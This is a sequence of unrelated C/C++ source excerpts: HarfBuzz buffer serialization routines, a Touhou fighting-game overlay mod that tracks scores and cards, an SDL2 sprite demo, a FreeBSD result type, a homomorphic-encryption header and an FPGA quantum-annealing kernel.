@buf. * @buf_consumed: (out) (allow-none): if not %NULL, will be set to the number of byes written into @buf. * @format: the #hb_buffer_serialize_format_t to use for formatting the output. * * Serializes @buffer into a textual representation of its content, * when the buffer contains Unicode codepoints (i.e., before shaping). This is * useful for showing the contents of the buffer, for example during debugging. * There are currently two supported serialization formats: * * ## text * A human-readable, plain text format. * The serialized codepoints will look something like: * * ``` *   * ``` * * - Glyphs are separated with `|` * - Unicode codepoints are expressed as zero-padded four (or more) * digit hexadecimal numbers preceded by `U+` * - If #HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS is not set, the cluster * will be indicated with a `=` then #hb_glyph_info_t.cluster. * * ## json * A machine-readable, structured format. * The serialized codepoints will be a list of objects with the following * properties: * - `u`: the Unicode codepoint as a decimal integer * - `cl`: #hb_glyph_info_t.cluster if * #HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS is not set. * * For example: * * ``` * [{u:1617,cl:0},{u:1576,cl:1}] * ``` * * Return value: * The number of serialized items. * * Since: 2.7.3 **/ unsigned int hb_buffer_serialize_unicode (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_buffer_serialize_format_t format, hb_buffer_serialize_flags_t flags) { end = hb_clamp (end, start, buffer->len); start = hb_min (start, end); unsigned int sconsumed; if (!buf_consumed) buf_consumed = &sconsumed; *buf_consumed = 0; if (buf_size) *buf = '\0'; buffer->assert_unicode (); if (unlikely (start == end)) return 0; switch (format) { case HB_BUFFER_SERIALIZE_FORMAT_TEXT: return _hb_buffer_serialize_unicode_text (buffer, start, end, buf, buf_size, buf_consumed, flags); case HB_BUFFER_SERIALIZE_FORMAT_JSON: return _hb_buffer_serialize_unicode_json (buffer, start, end, buf, buf_size, buf_consumed, flags); default: case HB_BUFFER_SERIALIZE_FORMAT_INVALID: return 0; } } static unsigned int _hb_buffer_serialize_invalid (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_buffer_serialize_format_t format, hb_buffer_serialize_flags_t flags) { assert (!buffer->len); unsigned int sconsumed; if (!buf_consumed) buf_consumed = &sconsumed; if (buf_size < 3) return 0; if (format == HB_BUFFER_SERIALIZE_FORMAT_JSON) { *buf++ = '['; *buf++ = ']'; *buf = '\0'; } else if (format == HB_BUFFER_SERIALIZE_FORMAT_TEXT) { *buf++ = '!'; *buf++ = '!'; *buf = '\0'; } *buf_consumed = 2; return 0; } /** * hb_buffer_serialize: * @buffer: an #hb_buffer_t buffer. * @start: the first item in @buffer to serialize. * @end: the last item in @buffer to serialize. * @buf: (out) (array length=buf_size) (element-type uint8_t): output string to * write serialized buffer into. * @buf_size: the size of @buf. * @buf_consumed: (out) (allow-none): if not %NULL, will be set to the number of byes written into @buf. * @font: (allow-none): the #hb_font_t used to shape this buffer, needed to * read glyph names and extents. If %NULL, and empty font will be used. * @format: the #hb_buffer_serialize_format_t to use for formatting the output. * @flags: the #hb_buffer_serialize_flags_t that control what glyph properties * to serialize. * * Serializes @buffer into a textual representation of its content, whether * Unicode codepoints or glyph identifiers and positioning information. This is * useful for showing the contents of the buffer, for example during debugging. * See the documentation of hb_buffer_serialize_unicode() and * hb_buffer_serialize_glyphs() for a description of the output format. * * Return value: * The number of serialized items. * * Since: 2.7.3 **/ unsigned int hb_buffer_serialize (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_font_t *font, hb_buffer_serialize_format_t format, hb_buffer_serialize_flags_t flags) { switch (buffer->content_type) { case HB_BUFFER_CONTENT_TYPE_GLYPHS: return hb_buffer_serialize_glyphs (buffer, start, end, buf, buf_size, buf_consumed, font, format, flags); case HB_BUFFER_CONTENT_TYPE_UNICODE: return hb_buffer_serialize_unicode (buffer, start, end, buf, buf_size, buf_consumed, format, flags); case HB_BUFFER_CONTENT_TYPE_INVALID: default: return _hb_buffer_serialize_invalid (buffer, start, end, buf, buf_size, buf_consumed, format, flags); } } static bool parse_int (const char *pp, const char *end, int32_t *pv) { int v; const char *p = pp; if (unlikely (!hb_parse_int (&p, end, &v, true/* whole buffer */))) return false; *pv = v; return true; } static bool parse_uint (const char *pp, const char *end, uint32_t *pv) { unsigned int v; const char *p = pp; if (unlikely (!hb_parse_uint (&p, end, &v, true/* whole buffer */))) return false; *pv = v; return true; } static bool parse_hex (const char *pp, const char *end, uint32_t *pv) { unsigned int v; const char *p = pp; if (unlikely (!hb_parse_uint (&p, end, &v, true/* whole buffer */, 16))) return false; *pv = v; return true; } #include "hb-buffer-deserialize-json.hh" #include "hb-buffer-deserialize-text.hh" /** * hb_buffer_deserialize_glyphs: * @buffer: an #hb_buffer_t buffer. * @buf: (array length=buf_len): * @buf_len: * @end_ptr: (out): * @font: * @format: * * * * Return value: * * Since: 0.9.7 **/ hb_bool_t hb_buffer_deserialize_glyphs (hb_buffer_t *buffer, const char *buf, int buf_len, /* -1 means nul-terminated */ const char **end_ptr, /* May be NULL */ hb_font_t *font, /* May be NULL */ hb_buffer_serialize_format_t format) { const char *end; if (!end_ptr) end_ptr = &end; *end_ptr = buf; buffer->assert_glyphs (); if (unlikely (hb_object_is_immutable (buffer))) { if (end_ptr) *end_ptr = buf; return false; } if (buf_len == -1) buf_len = strlen (buf); if (!buf_len) { *end_ptr = buf; return false; } hb_buffer_set_content_type (buffer, HB_BUFFER_CONTENT_TYPE_GLYPHS); if (!font) font = hb_font_get_empty (); switch (format) { case HB_BUFFER_SERIALIZE_FORMAT_TEXT: return _hb_buffer_deserialize_text (buffer, buf, buf_len, end_ptr, font); case HB_BUFFER_SERIALIZE_FORMAT_JSON: return _hb_buffer_deserialize_json (buffer, buf, buf_len, end_ptr, font); default: case HB_BUFFER_SERIALIZE_FORMAT_INVALID: return false; } } /** * hb_buffer_deserialize_unicode: * @buffer: an #hb_buffer_t buffer. * @buf: (array length=buf_len): * @buf_len: * @end_ptr: (out): * @format: * * * * Return value: * * Since: 2.7.3 **/ hb_bool_t hb_buffer_deserialize_unicode (hb_buffer_t *buffer, const char *buf, int buf_len, /* -1 means nul-terminated */ const char **end_ptr, /* May be NULL */ hb_buffer_serialize_format_t format) { const char *end; if (!end_ptr) end_ptr = &end; *end_ptr = buf; buffer->assert_unicode (); if (unlikely (hb_object_is_immutable (buffer))) { if (end_ptr) *end_ptr = buf; return false; } if (buf_len == -1) buf_len = strlen (buf); if (!buf_len) { *end_ptr = buf; return false; } hb_buffer_set_content_type (buffer, HB_BUFFER_CONTENT_TYPE_UNICODE); hb_font_t* font = hb_font_get_empty (); switch (format) { case HB_BUFFER_SERIALIZE_FORMAT_TEXT: return _hb_buffer_deserialize_text (buffer, buf, buf_len, end_ptr, font); case HB_BUFFER_SERIALIZE_FORMAT_JSON: return _hb_buffer_deserialize_json (buffer, buf, buf_len, end_ptr, font); default: case HB_BUFFER_SERIALIZE_FORMAT_INVALID: return false; } } #endif // // Created by PinkySmile on 08/12/2020. // #include "State.hpp" #include "Network/Handlers.hpp" #include "Utils/InputBox.hpp" #include "Utils/ShiftJISDecoder.hpp" #include "nlohmann/json.hpp" #include #include #include #define checkKey(key) (GetKeyState(keys[key]) & 0x8000) unsigned short port; std::vector keys(TOTAL_NB_OF_KEYS); std::unique_ptr webServer; struct CachedMatchData _cache; bool needReset; bool needRefresh; int (__thiscall SokuLib::BattleManager::*s_origCBattleManager_Render)(); int (__thiscall SokuLib::BattleManager::*s_origCBattleManager_Start)(); int (__thiscall SokuLib::BattleManager::*s_origCBattleManager_KO)(); int (__thiscall LoadingWatch::*s_origCLoadingWatch_Process)(); int (__thiscall BattleWatch::*s_origCBattleWatch_Process)(); int (__thiscall Loading::*s_origCLoading_Process)(); int (__thiscall Battle::*s_origCBattle_Process)(); int (__thiscall Title::*s_origCTitle_Process)(); HWND myWindow; const char *jpTitle = "ôîò√ö±æzôVæÑ ü` Æ┤£WïëâMâjâçâïé╠ôΣé≡Æ╟éª Ver1.10a"; bool threadUsed = false; std::thread thread; std::vector oldState; bool isPlaying = false; void checkKeyInputs() { std::vector isPressed; if (!threadUsed && thread.joinable()) thread.join(); if (GetForegroundWindow() != SokuLib::window) return; isPressed.reserve(TOTAL_NB_OF_KEYS); oldState.resize(TOTAL_NB_OF_KEYS); for (int i = 0; i < TOTAL_NB_OF_KEYS; i++) { auto val = checkKey(i); isPressed.push_back(val && !oldState[i]); oldState[i] = val; } if (isPressed[KEY_DECREASE_L_SCORE]) { _cache.leftScore--; broadcastOpcode(L_SCORE_UPDATE, std::to_string(_cache.leftScore)); } if (isPressed[KEY_DECREASE_R_SCORE]) { _cache.rightScore--; broadcastOpcode(R_SCORE_UPDATE, std::to_string(_cache.rightScore)); } if (isPressed[KEY_INCREASE_L_SCORE]) { _cache.leftScore++; broadcastOpcode(L_SCORE_UPDATE, std::to_string(_cache.leftScore)); } if (isPressed[KEY_INCREASE_R_SCORE]) { _cache.rightScore++; broadcastOpcode(R_SCORE_UPDATE, std::to_string(_cache.rightScore)); } if (isPressed[KEY_CHANGE_L_NAME]) { if (!threadUsed) { threadUsed = true; if (thread.joinable()) thread.join(); thread = std::thread{[] { auto answer = InputBox("Change left player name", "Left name", _cache.leftName); if (answer.empty()) { threadUsed = false; return; } _cache.leftName = answer; broadcastOpcode(L_NAME_UPDATE, "\"" + answer + "\""); threadUsed = false; }}; } } if (isPressed[KEY_CHANGE_R_NAME]) { if (!threadUsed) { threadUsed = true; if (thread.joinable()) thread.join(); thread = std::thread{[] { auto answer = InputBox("Change right player name", "Right name", _cache.rightName); if (answer.empty()) { threadUsed = false; return; } _cache.rightName = answer; broadcastOpcode(R_NAME_UPDATE, "\"" + answer + "\""); threadUsed = false; }}; } } if (isPressed[KEY_RESET_SCORES]) { _cache.leftScore = 0; _cache.rightScore = 0; broadcastOpcode(L_SCORE_UPDATE, std::to_string(_cache.leftScore)); broadcastOpcode(R_SCORE_UPDATE, std::to_string(_cache.rightScore)); } if (isPressed[KEY_RESET_STATE]) { _cache = CachedMatchData(); broadcastOpcode(STATE_UPDATE, cacheToJson(_cache)); needRefresh = true; needReset = true; } } nlohmann::json statsToJson(const Stats &stats) { nlohmann::json result = { {"doll", stats.doll}, {"rod", stats.rod}, {"grimoire", stats.grimoire}, {"fan", stats.fan}, {"drops", stats.drops}, {"special", stats.specialValue} }; std::map skillMap; for (int i = 0; i < 16; i++) { if (!stats.skillMap[i].notUsed) skillMap[std::to_string(i)] = stats.skillMap[i].level; } result["skills"] = skillMap; return result; } std::string statsToString(const Stats &stats) { return statsToJson(stats).dump(-1, ' ', true); } void updateCache(bool isMultiplayer) { if (!isPlaying) return; auto &battleMgr = SokuLib::getBattleMgr(); if (needReset) { if (_cache.noReset) ; else if (isMultiplayer) { auto &netObj = SokuLib::getNetObject(); if (_cache.realLeftName != netObj.profile1name || _cache.realRightName != netObj.profile2name) { _cache.leftScore = 0; _cache.rightScore = 0; _cache.leftName = netObj.profile1name; _cache.rightName = netObj.profile2name; _cache.realLeftName = netObj.profile1name; _cache.realRightName = netObj.profile2name; } } else if (_cache.realLeftName != SokuLib::player1Profile.operator char *() || _cache.realRightName != SokuLib::player2Profile.operator char *() || SokuLib::subMode != SokuLib::BATTLE_SUBMODE_REPLAY) { _cache.leftScore = 0; _cache.rightScore = 0; _cache.leftName = SokuLib::player1Profile; _cache.rightName = SokuLib::player2Profile; _cache.realLeftName = SokuLib::player1Profile; _cache.realRightName = SokuLib::player2Profile; } needReset = false; } _cache.noReset = false; auto oldLeftHand = _cache.leftHand; auto oldRightHand = _cache.rightHand; _cache.leftCards.clear(); _cache.rightCards.clear(); _cache.leftHand.clear(); _cache.rightHand.clear(); auto &leftDeck = battleMgr.leftCharacterManager.deckInfos; auto &rightDeck = battleMgr.rightCharacterManager.deckInfos; // Left remaining cards if (leftDeck.deck.size == 20) _cache.leftUsed.clear(); for (int i = 0; i < leftDeck.deck.size; i++) _cache.leftCards.push_back(leftDeck.deck[i]); std::sort(_cache.leftCards.begin(), _cache.leftCards.end()); // Right remaining cards if (rightDeck.deck.size == 20) _cache.rightUsed.clear(); for (int i = 0; i < rightDeck.deck.size; i++) _cache.rightCards.push_back(rightDeck.deck[i]); std::sort(_cache.rightCards.begin(), _cache.rightCards.end()); // Hands for (int i = 0; i < leftDeck.cardCount; i++) _cache.leftHand.push_back(leftDeck.hand[i].id); for (int i = 0; i < rightDeck.cardCount; i++) _cache.rightHand.push_back(rightDeck.hand[i].id); std::sort(_cache.leftHand.begin(), _cache.leftHand.end()); std::sort(_cache.rightHand.begin(), _cache.rightHand.end()); auto leftOldSize = oldLeftHand.size(); auto rightOldSize = oldRightHand.size(); // Used cards if (oldLeftHand.size() < _cache.leftHand.size()) oldLeftHand.clear(); if (oldRightHand.size() < _cache.rightHand.size()) oldRightHand.clear(); for (auto id : _cache.leftHand) { auto it = std::find(oldLeftHand.begin(), oldLeftHand.end(), id); if (it != oldLeftHand.end()) oldLeftHand.erase(it); } for (auto id : _cache.rightHand) { auto it = std::find(oldRightHand.begin(), oldRightHand.end(), id); if (it != oldRightHand.end()) oldRightHand.erase(it); } for (auto id : oldLeftHand) _cache.leftUsed.push_back(id); for (auto id : oldRightHand) _cache.rightUsed.push_back(id); std::sort(_cache.leftUsed.begin(), _cache.leftUsed.end()); std::sort(_cache.rightUsed.begin(), _cache.rightUsed.end()); if (_cache.leftHand.size() != leftOldSize && !needRefresh) broadcastOpcode(L_CARDS_UPDATE, generateLeftCardsJson(_cache)); if (_cache.rightHand.size() != rightOldSize && !needRefresh) broadcastOpcode(R_CARDS_UPDATE, generateRightCardsJson(_cache)); if (_cache.weather != SokuLib::activeWeather) { auto old = _cache.weather; _cache.weather = SokuLib::activeWeather; if (old == SokuLib::WEATHER_MOUNTAIN_VAPOR || SokuLib::activeWeather == SokuLib::WEATHER_MOUNTAIN_VAPOR) if (!needRefresh) broadcastOpcode(CARDS_UPDATE, generateCardsJson(_cache)); } Stats newStats; newStats.doll = battleMgr.leftCharacterManager.sacrificialDolls; newStats.drops = battleMgr.leftCharacterManager.drops; newStats.rod = battleMgr.leftCharacterManager.controlRod; newStats.fan = battleMgr.leftCharacterManager.tenguFans; newStats.grimoire = battleMgr.leftCharacterManager.grimoires; if (SokuLib::leftChar == SokuLib::CHARACTER_YUYUKO) newStats.specialValue = battleMgr.leftCharacterManager.resurrectionButterfliesUsed; else if (SokuLib::leftChar == SokuLib::CHARACTER_REISEN) newStats.specialValue = battleMgr.leftCharacterManager.elixirUsed; else newStats.specialValue = 0; std::memcpy(newStats.skillMap, battleMgr.leftCharacterManager.skillMap, sizeof(newStats.skillMap)); if (memcmp(&newStats, &_cache.leftStats, sizeof(newStats)) != 0) { std::memcpy(&_cache.leftStats, &newStats, sizeof(newStats)); if (!needRefresh) broadcastOpcode(L_STATS_UPDATE, statsToString(newStats)); } newStats.doll = battleMgr.rightCharacterManager.sacrificialDolls; newStats.drops = battleMgr.rightCharacterManager.drops; newStats.rod = battleMgr.rightCharacterManager.controlRod; newStats.fan = battleMgr.rightCharacterManager.tenguFans; newStats.grimoire = battleMgr.rightCharacterManager.grimoires; if (SokuLib::rightChar == SokuLib::CHARACTER_YUYUKO) newStats.specialValue = battleMgr.rightCharacterManager.resurrectionButterfliesUsed; else if (SokuLib::rightChar == SokuLib::CHARACTER_REISEN) newStats.specialValue = battleMgr.rightCharacterManager.elixirUsed; else newStats.specialValue = 0; std::memcpy(newStats.skillMap, battleMgr.rightCharacterManager.skillMap, sizeof(newStats.skillMap)); if (memcmp(&newStats, &_cache.rightStats, sizeof(newStats)) != 0) { std::memcpy(&_cache.rightStats, &newStats, sizeof(newStats)); if (!needRefresh) broadcastOpcode(R_STATS_UPDATE, statsToString(newStats)); } if (needRefresh) { _cache.left = SokuLib::leftChar; _cache.right = SokuLib::rightChar; needRefresh = false; broadcastOpcode(STATE_UPDATE, cacheToJson(_cache)); } checkKeyInputs(); } std::string cacheToJson(CachedMatchData cache) { nlohmann::json result; std::vector leftDeck; std::vector rightDeck; std::vector leftHand; std::vector rightHand; if (cache.weather == SokuLib::WEATHER_MOUNTAIN_VAPOR) { leftDeck.resize(cache.leftCards.size() + cache.leftHand.size(), 21); rightDeck.resize(cache.rightCards.size() + cache.rightHand.size(), 21); } else { leftDeck = cache.leftCards; rightDeck = cache.rightCards; leftHand = cache.leftHand; rightHand = cache.rightHand; } result["left"] = { {"character", cache.left}, {"score", cache.leftScore}, {"name", convertShiftJisToUTF8(cache.leftName.c_str())}, {"used", cache.leftUsed}, {"deck", leftDeck}, {"hand", leftHand}, {"stats", statsToJson(cache.leftStats)}, }; result["right"] = { {"character", cache.right}, {"score", cache.rightScore}, {"name", convertShiftJisToUTF8(cache.rightName.c_str())}, {"used", cache.rightUsed}, {"deck", rightDeck}, {"hand", rightHand}, {"stats", statsToJson(cache.rightStats)}, }; result["round"] = cache.round; return result.dump(-1, ' ', true); } std::string generateCardsJson(CachedMatchData cache) { nlohmann::json result; std::vector leftDeck; std::vector rightDeck; std::vector leftHand; std::vector rightHand; if (cache.weather == SokuLib::WEATHER_MOUNTAIN_VAPOR) { leftDeck.resize(cache.leftCards.size() + cache.leftHand.size(), 21); rightDeck.resize(cache.rightCards.size() + cache.rightHand.size(), 21); } else { leftDeck = cache.leftCards; rightDeck = cache.rightCards; leftHand = cache.leftHand; rightHand = cache.rightHand; } result["left"] = { {"used", cache.leftUsed}, {"deck", leftDeck}, {"hand", leftHand}, }; result["right"] = { {"used", cache.rightUsed}, {"deck", rightDeck}, {"hand", rightHand}, }; return result.dump(-1, ' ', true); } std::string generateRightCardsJson(CachedMatchData cache) { nlohmann::json result; std::vector rightDeck; std::vector rightHand; if (cache.weather == SokuLib::WEATHER_MOUNTAIN_VAPOR) rightDeck.resize(cache.rightCards.size() + cache.rightHand.size(), 21); else { rightDeck = cache.rightCards; rightHand = cache.rightHand; } result = { {"used", cache.rightUsed}, {"deck", rightDeck}, {"hand", rightHand}, }; return result.dump(-1, ' ', true); } std::string generateLeftCardsJson(CachedMatchData cache) { nlohmann::json result; std::vector leftDeck; std::vector leftHand; if (cache.weather == SokuLib::WEATHER_MOUNTAIN_VAPOR) leftDeck.resize(cache.leftCards.size() + cache.leftHand.size(), 21); else { leftDeck = cache.leftCards; leftHand = cache.leftHand; } result = { {"used", cache.leftUsed}, {"deck", leftDeck}, {"hand", leftHand}, }; return result.dump(-1, ' ', true); } void onRoundStart() { isPlaying = true; _cache.oldLeftScore = 0; _cache.oldRightScore = 0; } void onKO() { auto &battleMgr = SokuLib::getBattleMgr(); isPlaying = false; if (_cache.oldLeftScore != battleMgr.leftCharacterManager.score || _cache.oldRightScore != battleMgr.rightCharacterManager.score) { if (battleMgr.leftCharacterManager.score == 2) { _cache.leftScore++; broadcastOpcode(L_SCORE_UPDATE, std::to_string(_cache.leftScore)); } else if (battleMgr.rightCharacterManager.score == 2) { _cache.rightScore++; broadcastOpcode(R_SCORE_UPDATE, std::to_string(_cache.rightScore)); } _cache.oldLeftScore = battleMgr.leftCharacterManager.score; _cache.oldRightScore = battleMgr.rightCharacterManager.score; } } mahepe/sdl2-sprite-wasm-native #include #include #include #include // If the build target is web, include emscripten #ifdef __EMSCRIPTEN__ #include #endif #define WIDTH 800 #define HEIGHT 600 #define IMG_PATH "assets/sprite.png" // This interfaces the smart pointers with SDL's destruction methods. struct Deleter { inline void operator()(SDL_Window* window) { SDL_DestroyWindow(window); } inline void operator()(SDL_Texture* texture) { SDL_DestroyTexture(texture); } inline void operator()(SDL_Renderer* renderer) { SDL_DestroyRenderer(renderer); } }; // Smart pointers for our SDL things. std::unique_ptr window; std::unique_ptr renderer; std::unique_ptr texture; std::unique_ptr texture_rect = std::unique_ptr(new SDL_Rect()); static bool run = true; void main_loop(){ SDL_Event e; if ( SDL_PollEvent(&e) ) { if (e.type == SDL_QUIT) run = false; else if (e.type == SDL_KEYUP && e.key.keysym.sym == SDLK_ESCAPE) run = false; } // Clear, render sprite and swap buffers. SDL_RenderClear(renderer.get()); SDL_RenderCopy(renderer.get(), texture.get(), NULL, texture_rect.get()); SDL_RenderPresent(renderer.get()); } int main (int argc, char *argv[]) { int w, h; // These will hold the sprite dimensions. if (SDL_Init(SDL_INIT_VIDEO) < 0) return 1; // Create the window, renderer, and load the sprite. window = std::unique_ptr(SDL_CreateWindow("Image Loading", 100, 100, WIDTH, HEIGHT, 0)); renderer = std::unique_ptr(SDL_CreateRenderer(window.get(), -1, SDL_RENDERER_ACCELERATED)); texture = std::unique_ptr(IMG_LoadTexture(renderer.get(), IMG_PATH)); SDL_QueryTexture(texture.get(), NULL, NULL, &w, &h); texture_rect->x = 0; texture_rect->y = 0; texture_rect->w = w; texture_rect->h = h; // If the build target is web, hand the main loop over to emscripten... #ifdef __EMSCRIPTEN__ emscripten_set_main_loop(main_loop, 0, 1); // ...otherwise just run it here #else while (run) { main_loop(); } #endif // Notice the lack of cleanup code as we use smart pointers. :) return 0; } mojo-runtime/lib-freebsd #pragma once #define _E(rest) E##rest##_ = E##rest namespace freebsd { template struct Result { explicit operator bool() const noexcept { return this->__is_error; } Error error() const { return static_cast(this->__word); } Ok ok() const { return static_cast(this->__word); } //---------------------------------------------------------------------------------------------- decltype(sizeof(int)) __word; decltype(sizeof(int)) __is_error; }; } #ifndef HOMENCIPHER_HPP #define HOMENCIPHER_HPP #include #include "Encipher.hpp" #include "Random.h" template class HOMEncipher : public Encipher { protected: NTL::ZZ modulus; NTL::ZZ p; NTL::ZZ q; Random* rng; void generateModulus(int lambda, int eta){ p = NTL::RandomPrime_ZZ(lambda,20); q = NTL::RandomPrime_ZZ(eta,20); modulus = p*q; } public: void init(){ this->rng = new Random(); NTL::ZZ_p::init(modulus); }; NTL::ZZ getModulus(){ return modulus; }; virtual std::string writeParametersToJSON()=0; HOMEncipher(){ rng=nullptr; }; virtual ~HOMEncipher(){ delete rng; }; }; #endif allen880117/Simulated-Quantum-Annealing1-10 #include "../include/sqa.hpp" #include #include #include "ap_int.h" #include "hls_stream.h" #define MAX_CTLSTEP ((MAX_NSPIN + (MAX_NTROT - 1)) * MAX_NSPIN) #define FAST_MATH 1 #define UNIT 1 #define UNROLL_TEST 0 #define DEP 1 /* Trotter Unit */ #if !UNROLL_TEST template void TrotterUnit(const int nTrot, const int nSpin, const int ctlStep, const int i, const int j, const int startStep, const int endStep, spin_t trotters[MAX_NSPIN], const spin_t up_trotter, const spin_t down_trotter, fp_t &dH, const fp_t hNext, const fp_t Beta, const fp_t dHTunnel, const fp_t logRandNumber[MAX_NSPIN], const fp_t JcoupLocal[MAX_NSPIN]) { #else void TrotterUnit(const int nTrot, const int nSpin, const int ctlStep, const int t, const int i, const int j, const int startStep, const int endStep, spin_t trotters[MAX_NSPIN], const spin_t up_trotter, const spin_t down_trotter, fp_t &dH, const fp_t hNext, const fp_t Beta, const fp_t dHTunnel, const fp_t logRandNumber[MAX_NSPIN], const fp_t JcoupLocal[MAX_NSPIN]) { #endif if (t < nTrot) { if (startStep <= ctlStep && ctlStep < endStep) { /* Cache */ fp_t dHTmp = dH; /* Summation */ if (trotters[j]) { dHTmp += JcoupLocal[j]; } else { dHTmp -= JcoupLocal[j]; } /* Final Step of this Stage of J[t, i] */ if (j == nSpin - 1) { /* More Cache */ spin_t this_spin = trotters[i]; /* Compute Engery from up and down trotter */ if (up_trotter == down_trotter) { if (up_trotter) dHTmp -= dHTunnel; else dHTmp += dHTunnel; } /* Times 2 and itself */ dHTmp *= 2.0f; if (!this_spin) { dHTmp = -dHTmp; } /* Flip */ if ((-Beta * dHTmp) > logRandNumber[i]) { trotters[i] = (!this_spin); } /* Reset */ dHTmp = hNext; } /* Store Back */ dH = dHTmp; } } } /* Quantum Monte-Carlo Opt */ void QuantumMonteCarloOpt(const int nTrot, const int nSpin, spin_t trotters[MAX_NTROT][MAX_NSPIN], /* Spins */ hls::stream &Jcoup, /* Stream of Jcoup */ const fp_t h[MAX_NSPIN], /* Arraay of h */ const fp_t Jperp, /* Thermal Related */ const fp_t Beta, /* Thermal Related */ const fp_t logRandNumber[MAX_NTROT][MAX_NSPIN]) { /* Interface */ #pragma HLS INTERFACE axis register both port = Jcoup #pragma HLS INTERFACE s_axilite port = return #pragma HLS INTERFACE s_axilite port = logRandNumber #pragma HLS INTERFACE s_axilite port = nTrot #pragma HLS INTERFACE s_axilite port = Beta #pragma HLS INTERFACE s_axilite port = Jperp #pragma HLS INTERFACE s_axilite port = trotters #pragma HLS INTERFACE s_axilite port = h #pragma HLS INTERFACE s_axilite port = nSpin /* Array Partition Needed for trotters, and logRandNumber */ #pragma HLS ARRAY_PARTITION variable = logRandNumber complete dim = 1 #pragma HLS ARRAY_PARTITION variable = trotters complete dim = 1 #pragma HLS ARRAY_PARTITION variable = h cyclic factor = 4 dim = 1 /* JcoupStream (Depth + 1 for Avoiding Overflow )*/ #if !UNIT static hls::stream JcoupStream[MAX_NTROT + 1]; #else /* Last One for Pre-Read */ fp_t JcoupLocal[MAX_NTROT][MAX_NSPIN]; #pragma HLS ARRAY_PARTITION variable = JcoupLocal complete dim = 1 #endif /* Tunnel-related energy */ fp_t dHTunnel = Jperp * (2 * nTrot); /* Local Field and Start/End and UpIdx/DownIdx */ fp_t dH[MAX_NTROT]; int startStep[MAX_NTROT]; int endStep[MAX_NTROT]; int up[MAX_NTROT]; int down[MAX_NTROT]; /* Array Partition */ #pragma HLS ARRAY_PARTITION variable = dH complete dim = 1 #pragma HLS ARRAY_PARTITION variable = startStep complete dim = 1 #pragma HLS ARRAY_PARTITION variable = endStep complete dim = 1 #pragma HLS ARRAY_PARTITION variable = up complete dim = 1 #pragma HLS ARRAY_PARTITION variable = down complete dim = 1 /* Loop Initialization */ LOOP_INIT: for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #pragma HLS DEPENDENCE variable = dH inter false #pragma HLS DEPENDENCE variable = startStep inter false #pragma HLS DEPENDENCE variable = endStep inter false #pragma HLS DEPENDENCE variable = up inter false #pragma HLS DEPENDENCE variable = down inter false #pragma HLS DEPENDENCE variable = h inter false dH[t] = h[t]; // Energy Initialization startStep[t] = (nSpin * (t)); // Start Latency of Trotter Unit endStep[t] = (nSpin * (t + nSpin)); // Start Latency + Full Step up[t] = (t == 0) ? (nTrot - 1) : (t - 1); // Up Index down[t] = (t == nTrot - 1) ? (0) : (t + 1); // Down Index } /* Up/Down */ spin_t up_trotter[MAX_NTROT]; spin_t down_trotter[MAX_NTROT]; #pragma HLS ARRAY_PARTITION variable = up_trotter complete dim = 1 #pragma HLS ARRAY_PARTITION variable = down_trotter complete dim = 1 /* Precompute i/j */ int iPre[MAX_NTROT]; #pragma HLS ARRAY_PARTITION variable = iPre complete dim = 1 /* Explicit Stage Control */ /* 0 1 2 3 4 5 5 6 7 Trotter 0: 0 1 2 3 4 5 Trotter 1: 0 1 2 3 4 5 Trotter 2: 0 1 2 3 4 5 Trotter 3: 0 1 2 3 4 5 Total Stage = nSpin + (nTrot - 1) Each Stage needs (nSpin) steps for summation of Jcoup */ LOOP_CTRL: for (int ctlStep = 0; ctlStep < MAX_CTLSTEP; ctlStep++) { /* Exit Condition */ if (ctlStep == (nSpin + (nTrot - 1)) * nSpin) break; /* Update iPre, j */ #if !FAST_MATH int j = (ctlStep) % nSpin; for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #pragma HLS DEPENDENCE variable = startStep inter false #pragma HLS DEPENDENCE variable = iPre inter false iPre[t] = (ctlStep - startStep[t]) / nSpin; } #else /* Only Support for MAX_NSPIN is 2^N */ int j = (ctlStep) & (MAX_NSPIN - 1); for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #if DEP #pragma HLS DEPENDENCE variable = startStep inter false #pragma HLS DEPENDENCE variable = endStep inter false #pragma HLS DEPENDENCE variable = iPre inter false #endif int offset = ctlStep - startStep[t]; bool inside = (startStep[t] <= ctlStep && ctlStep < endStep[t]); iPre[t] = (inside) ? (offset >> LOG2_MAX_NSPIN) : (0); } #endif /* Update Up/Down Trotter */ if (j == 0) { for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #if DEP #pragma HLS DEPENDENCE variable = trotters inter false #pragma HLS DEPENDENCE variable = up inter false #pragma HLS DEPENDENCE variable = down inter false #pragma HLS DEPENDENCE variable = iPre inter false #pragma HLS DEPENDENCE variable = up_trotter inter false #pragma HLS DEPENDENCE variable = down_trotter inter false #endif up_trotter[t] = trotters[up[t]][iPre[t]]; down_trotter[t] = trotters[down[t]][iPre[t]]; } } #if !UNIT /* Read Jcoup */ if (ctlStep < endStep[0]) { JcoupStream[0] << Jcoup.read(); } #else /* Shift Down Old Jcoup */ for (int t = MAX_NTROT - 1; t > 0; t--) { #pragma HLS UNROLL JcoupLocal[t][j] = JcoupLocal[t - 1][j]; } /* Read New Jcoup */ if (ctlStep < endStep[0]) { Jcoup >> JcoupLocal[0][j]; } #endif #if !UNIT /* For Each Trotter */ LOOP_TROTTERS: for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #pragma HLS DEPENDENCE variable = trotters inter false #pragma HLS DEPENDENCE variable = logRandNumber inter false #pragma HLS DEPENDENCE variable = JcoupStream inter false #pragma HLS DEPENDENCE variable = dH inter false #pragma HLS DEPENDENCE variable = startStep inter false #pragma HLS DEPENDENCE variable = endStep inter false #pragma HLS DEPENDENCE variable = up inter false #pragma HLS DEPENDENCE variable = down inter false #pragma HLS DEPENDENCE variable = up_trotter inter false #pragma HLS DEPENDENCE variable = down_trotter inter false #pragma HLS DEPENDENCE variable = iPre inter false /* If the CtlStep falls in the active area of the trotter[t] */ if (t < nTrot) { if (startStep[t] <= ctlStep && ctlStep < endStep[t]) { /* Cache */ 